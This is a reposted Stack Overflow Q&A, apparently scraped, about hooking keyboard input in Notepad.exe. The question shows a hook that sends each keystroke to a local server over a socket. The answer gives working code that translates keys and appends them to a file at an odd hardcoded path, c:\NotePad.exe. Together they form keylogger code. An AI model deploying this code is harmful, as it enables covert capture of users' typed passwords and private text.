gpt4 book ai didi

c++ - 试图 Hook Notepad.exe

转载 作者:可可西里 更新时间:2023-11-01 12:02:21 30 4
gpt4 key购买 nike

我正在尝试使用 SetWindowsHookEx 键盘 Hook Notepad.exe。

如您所见,工作线程正在将其 ASCII 代码(即 wParam)发送到指定的服务器。

UINT WINAPI SendToServer(LPVOID lpParam)
{
CSocket Client;

Client.Create();

Client.Connect("localhost", 6677);
Client.Send(lpParam, 2); // sending its ASICI code to Server

Client.Close();

return 0;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR szPath[MAX_PATH] = {0,};
TCHAR* p = nullptr;

if( nCode >= 0 )
{
// bit 31 : 0 => press, 1 => release

if( !(lParam & 0x80000000) )
{
GetModuleFileName(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');

if( !_stricmp(p + 1, "Notepad.exe") )
{
unsigned ThreadID;
g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

return 0;
}
}
}

return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

问题是,由于某些与新工作线程相关的原因,记事本发生了严重错误(如果我多次单击“忽略”按钮,它还可以工作。)

我删除了下面这一行,

g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

然后Notepad.exe就没有错误了

如有任何帮助,我们将不胜感激。

提前致谢。

最佳答案

这对你有用吗……?硬编码路径仅用于测试目的更改路径以匹配您的 NotePad.exe 所在的位置

LRESULT  __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
ofstream fout;
fout.open("c:\\NotePad.exe",ios::app);

if (nCode < 0 || nCode != HC_ACTION)
return CallNextHookEx(hkb, nCode, wParam, lParam);


if ( (((DWORD)lParam & 0x80000000) == 0) && (HC_ACTION == nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100)))
{
if(GetAsyncKeyState(wParam) == -32767) //this solve it i got it on google but how ??
{
BYTE ks[256];
GetKeyboardState(ks);

WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
fout<<char(w);
}
}
}

fout.close();

return CallNextHookEx(hkb, nCode, wParam, lParam);
}

关于c++ - 试图 Hook Notepad.exe,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8676343/

30 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com